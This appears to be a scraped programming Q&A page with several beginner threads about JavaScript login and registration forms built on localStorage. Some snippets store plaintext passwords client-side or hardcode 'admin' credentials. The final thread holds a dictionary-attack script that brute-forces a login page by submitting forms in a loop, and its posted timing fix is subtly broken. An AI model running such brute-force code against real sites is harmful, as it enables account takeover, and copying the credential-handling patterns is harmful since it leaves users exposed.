Trying to use Local Storage for Reg/Login - javascript

I am trying to use local storage to make a basic registration and login screen.
I have managed to get all the basics running but I can't get the fields to save to the local storage to them pull for the login process. I do not believe the HTML is wrong but the Javascript.
Here is the JS:
function save() {
var inputUserName = document.getElementById('regusername');
var inputPassWord = document.getElementById('regpassword');
var inputEmail = document.getElementById('regemail');
localStorage.setItem('username', inputUserName.value);
localStorage.setItem('email', inputEmail.value);
localStorage.setItem('password', inputPassWord.value);
}
function check() {
// Getting data from the register-form
var inputUserName = localStorage.getItem('username');
var inputPassWord = localStorage.getItem('password');
var username = document.getElementById('username');
var password = document.getElementById('password');
if (username.value == inputUserName && password.value == inputPassWord) {
alert('You have successfully logged in' + inputUserName);
} else {
alert('ERROR')
for(var i = 0; i < localStorage.length; i++){
alert(localStorage.key(i));
}
}
}

I figured it out, it was my HTML I had a name="Name" and it seemed to collide with the input that the user had changing to whatever was in the name="" in this case being Name, Email and Password.

If you want to get the input of the user in a specific field, you need to use something like:
document.getElementById('username').value;
You forgot to add the .value at the end.

Related

Storing the first name and last name of the user in a table

I've created a register and login for my website, and I've created a table to store the users first name and last name, but I want to store more than one user in the table, but every time I update the table, it replaces the first user every time a new user logs in.
Click the link to view the images:
https://imgur.com/a/CFMC8
/*-- REGISTER --*/
function storeUserDetail(){
var fNameInput = document.getElementById("firstNameInput").value;
var lNameInput = document.getElementById("lastNameInput").value;
var uNameInput = document.getElementById("userNameInput").value;
var pWordInput = document.getElementById("passWordInput").value;
if(fNameInput === ""){
document.getElementById("regMessage").innerHTML = "<span
class='error'>Please enter your First Name.</span>";
}
else if(lNameInput === ""){
document.getElementById("regMessage").innerHTML = "<span
class='error'>Please enter your Last Name.</span>";
}
else if(uNameInput === ""){
document.getElementById("regMessage").innerHTML = "<span
class='error'>Please enter your Username.</span>";
}
else if(pWordInput === ""){
document.getElementById("regMessage").innerHTML = "<span
class='error'>Please enter your Password.</span>";
}
else {
var storeDetails = {};
storeDetails.FirstName =
document.getElementById("firstNameInput").value;
storeDetails.LastName =
document.getElementById("lastNameInput").value;
storeDetails.Username =
document.getElementById("userNameInput").value;
storeDetails.Password =
document.getElementById("passWordInput").value;
localStorage[storeDetails.Username] = JSON.stringify(storeDetails);
window.location.replace("http://localhost/login.php");
}
}
/*-- LOGIN -- */
function loginUser(){
var Username = document.getElementById("userNameInput").value;
var Password = document.getElementById("passWordInput").value;
if(Username === ""){
document.getElementById("logMessage").innerHTML = "<span
class='error'>Please enter your Username.</span>";
}
else if(Password === ""){
document.getElementById("logMessage").innerHTML = "<span
class='error'>Please enter your Password.</span>";
}
else {
if(localStorage[Username] === undefined) {
document.getElementById("logMessage").innerHTML = "<span
class='error'>Username Incorrect. Please try again.</span>";
return;
}
else {
var storeDetails = JSON.parse(localStorage[Username]);
if(Password === storeDetails.password) {
localStorage.loggedInUserName = storeDetails.Username;
window.location.replace("http://localhost/game.php");
}
else{
document.getElementById("logMessage").innerHTML = "<span
class='error'>Password Incorrect. Please try again.</span>";
}
}
}
/* TABLE */
function inputUserInfo(){
var storeDetails = JSON.parse(localStorage[localStorage.LoggedInUser]);
var table = document.getElementById("rankTable");
var row = table.insertRow();
var firstNameCell = row.insertCell(0);
var lastNameCell = row.insertCell(1);
firstNameCell.innerHTML = storeDetails.FirstName;
lastNameCell.innerHTML = storeDetails.LastName;
}
You can't create a registration and login system using local storage. Local storage only saves values in the user's own browser, thus 'local.' The server doesn't know about them, other users don't know about them, and they're all cleared a way if the user clears their browser history thoroughly. And there is only one value for each given key -- if you say username = "Sarah" today, and username = "Laura" tomorrow, then Laura overwrites Sarah, because it just doesn't make sense for the user's browser to have two different things both called username.
Local storage isn't suitable for registration and login systems. It's only suitable for caching things for an individual user. For example, you might store in-progress/unsent messages in local storage so the user doesn't lose them on a page refresh.

Unable to reload the same page after clicking submit button

I'm making a login page where if the email address already exists i want to stay on the same page and prompt the user that the email address already exists.
Here is the function which is the onClick function that will be called when the button is clicked
function login() {
var username = document.getElementById("username").value;
var pword = document.getElementById("pword").value;
var confpwd = document.getElementById("confpwd").value;
var email = document.getElementById("email").value;
var fname = document.getElementById("fname").value;
var lname = document.getElementById("lname").value;
var gender = document.getElementById("gender").value;
var t = 1;
if (t.toString() !== '0') {
var er = "Email-id already exists";
event.preventDefault();
document.getElementById("nemail").value = er;
document.getElementById("username").value = username;
document.getElementById("pword").value = "";
document.getElementById("confpwd").value = "";
document.getElementById("fname").value = fname;
document.getElementById("lname").value = lname;
document.getElementById("gender").value = gender;
}
}
You must pass a function to the <form onsubmit="return login()">. The login function must return true if you want to submit and false otherwise. See this answer for more details: JavaScript code to stop form submission
Working codepen to illustrate: http://codepen.io/DeividasK/pen/YZqwLO
Depending on how your code is setup to submit. You may just need to insert a return when the code realizes the email address is a duplicate. Something along this path might help prevent the page from moving forward.
if (ListOfExistingEmails.indexof(email) > 0 ) return false;

How to fix my login issue with local storage?

Basically I have 2 files... register.html and login.js.... I am able to store user's registration details into local storage and then parsed it as objects in array.... I need to log in properly(when user and pass match, alert box indicates login successful and then PHP file will redirect user, and if no match, alert box will indicate for that separately) and then second alert box as you have successfully signed in and then it will not redirect me as the PHP file is meant to do so when the user and pass match local storage... Any clues??
You are just not iterating correctly through credentials, you have to wait until you are sure that the current login credentials are not equal to any of the stored credentials, so you have to get this part of code out of the for loop:
alert('Invalid Username or Password! Please try again.');
event.preventDefault();
window.location="Login.html";
try this code for validating the login:
function validlogin(event) {
var username = document.getElementById('username').value;
var password = document.getElementById('password').value;
var entriesJSON = localStorage.getItem('allEntries');
if (!entriesJSON) {
event.preventDefault();
alert("Nothing stored!");
return;
}
var allEntries = JSON.parse(entriesJSON);
var isCorrectCredentials=false;
for (var i = 0; i < allEntries.length; i++) {
var entry = allEntries[i];
var storedUserName = entry.user;
var storedPassWord = entry.pass;
var storedEmailAddress = entry.email;
if (username == storedUserName && password == storedPassWord) {
isCorrectCredentials=true;
alert("Successfully logged in!");
return;
} }
if(!isCorrectCredentials){
alert('Invalid Username or Password! Please try again.');
event.preventDefault();
window.location="Login.html";
}
}
this way you will login if the current username and password are correct and notify the rest of the code using:
isCorrectCredentials=true;
that the login info was true and you are successfully logged in.
and the part of code that should be executed if the login info is not true will be executed 1 time max.

Form validation does nothing to the form, NO HTML, ONLY JS

I am trying to learn JS so i am writing code only in JS (there is only up to the body tag in my html code that uses the script).
I am trying in the condition mentioned above, to write a login form and validate it with a validation function.
For some reason nothing happens when I submit the form (I believe its not even calling the validate function, since I put an alert in the beginning of it).
My code:
function validateLogin() {
alert("CHECK");
var username = document.getElementById('username').value;
var pass = document.getElementById('pass').value;
if (username === "admin" && pass === "admin") {
return true;
} else {
alert("Wrong username or password!");
return false;
}
}
var loginDiv = document.createElement('div');
loginDiv.className = 'loginDiv';
var loginForm = document.createElement('form');
loginForm.className = 'loginForm';
loginForm.onsubmit = "return validateLogin()";
var username = document.createElement('input');
username.id = 'username';
var pass = document.createElement('input');
pass.id = 'pass';
pass.type = 'password';
var subm = document.createElement('input');
subm.type = 'submit';
loginForm.appendChild(document.createTextNode("Username:"));
loginForm.appendChild(username);
loginForm.appendChild(document.createElement('br'));
loginForm.appendChild(document.createTextNode("Password:"));
loginForm.appendChild(pass);
loginForm.appendChild(document.createElement('br'));
loginForm.appendChild(subm);
loginForm.action = "#";
loginForm.method = "post";
loginDiv.appendChild(loginForm);
document.body.appendChild(loginDiv);
edit I found that changing
loginForm.onsubmit = "return validateLogin()";
into
loginForm.onsubmit = validateLogin;
solved it for me, for some reason.
First of all you're targeting the DOM object, not the value.
Instead of:
var username = document.getElementById('username');
use:
var username = document.getElementById('username').value;
Of course this is not a good way to build an authentication system, but since it's for learning purposes, we'll go on with it. I would also not recommend using all these "appendChild" functions to create HTML.
There are better ways of doing it. Look into things like MuschacheJS and how they do rendering.
Edit:
You also need to call the function validateLogin();
You could do it like this:
document.getElementById("submitButton").addEventListener("click", function(e) {
validateLogin();
});
This code assumes that there is a button with id submitButton, but you already know how to create that.
Change your button code to the following:
var subm = document.createElement('button');
subm.innerHTML = 'click me';
subm.onclick = validateLogin();
subm.type = 'submit';
Your onsubmit attribute is not added to your form. To fix this, use .setAttribute as you can see in the code below.
A second problem is, that you don't get the value of your input fields, but the full node. For that, you need to append .value.
If you don't want that the page reloads (or redirects to any page given in the action attribute of your form when true login credentials, prepend event.preventDefault() to your validateLogin().
function validateLogin() {
alert("CHECK");
var username = document.getElementById('username').value;
var pass = document.getElementById('pass').value;
if(username === "admin" && pass ==="admin"){
return true;
} else{
alert("Wrong username or password!");
return false;
}
}
var loginDiv = document.createElement('div');
loginDiv.className = 'loginDiv';
var loginForm = document.createElement('form');
loginForm.className = 'loginForm';
// .setAttribute() allows to set all kind of attributes to a node
loginForm.setAttribute("onsubmit", "return validateLogin()");
var username = document.createElement('input');
username.id = 'username';
var pass = document.createElement('input');
pass.id = 'pass';
pass.type = 'password';
var subm = document.createElement('input');
subm.type = 'submit';
loginForm.appendChild(document.createTextNode("Username:"));
loginForm.appendChild(username);
loginForm.appendChild(document.createElement('br'));
loginForm.appendChild(document.createTextNode("Password:"));
loginForm.appendChild(pass);
loginForm.appendChild(document.createElement('br'));
loginForm.appendChild(subm);
loginForm.action = "#";
loginForm.method = "post";
loginDiv.appendChild(loginForm);
document.body.appendChild(loginDiv);

Checking if the attempt was successful during a Dictionary Attack

I am doing a project where in I have to carry out a Dictionary Attack. I am running a script that posts to the page that the login page would post to(say members.php). Only thing that happens in the server side after a correct username and passwords is entered is that a cookies are set. The Cookies have the values of username and password's sha value. (Yes, I have the access to the source code).
I have hard coded a script in members.php such that would retrieve the value of cookies every time some one logs in and stores it in a text file in my server. Hence I would be able to keep track of who ever has successfully logged in .
I am trying the following script to post to members.php to try and see if the logic works:
function dictionary_run(username,password) {
var theForm, newInput7, newInput8, newInput9;
var i=0,j=0;
var bla3 = "Login";
theForm = document.createElement("form");
theForm.action = "URL/members.php";
theForm.method = "post";
newInput9 = document.createElement("input");
newInput9.type = "text";
newInput9.name = "username";
newInput9.value = username;
newInput8 = document.createElement("input");
newInput8.type = "password";
newInput8.name = "password";
newInput8.value = password;
newInput7 = document.createElement("input");
newInput7.type = "submit";
newInput7.name = "submit";
newInput7.value = bla3;
theForm.appendChild(newInput9);
theForm.appendChild(newInput8);
theForm.appendChild(newInput7);
newInput7.click();
}
function main() {
var user_name = ["jasmine", "fd", "jasmhghine","dfdf"];
var pass_word = ["jasmine", "jasminhge", "dffd","dfdfdf"];
var i,j;
for(i=0; i<4 ;i++) {
for(j=0; j<4;j++) {
dictionary_run(user_name[i],pass_word[j]);
}
}
}
main();
Apparently it doesn't work. I know that jasmine as password and username is correct(user_name[0] and pass_word[0] here). Even then,my script hard coded in members.php doesn't capture the successful login attempt.
I have also tried to break it with
if(document.cookie) break;
after each submission. This also doesn't work. I can not think of another way to check if the login attempt was successful or not.
Any help would be greatly appreciated.
Thanks!
Alright, I found the problem, just because I was posting in very quick successions, only the last input was being checked. So I just used a delay of a few seconds and it worked.
for(i=0; i<4;i++) {
for(j=0; j<4;j++) {
var delay=5000;//1 seconds
setTimeout(function(){
dictionary_run(user_name[i],pass_word[j]);
},delay);
}
}
Thanks !

Categories

Resources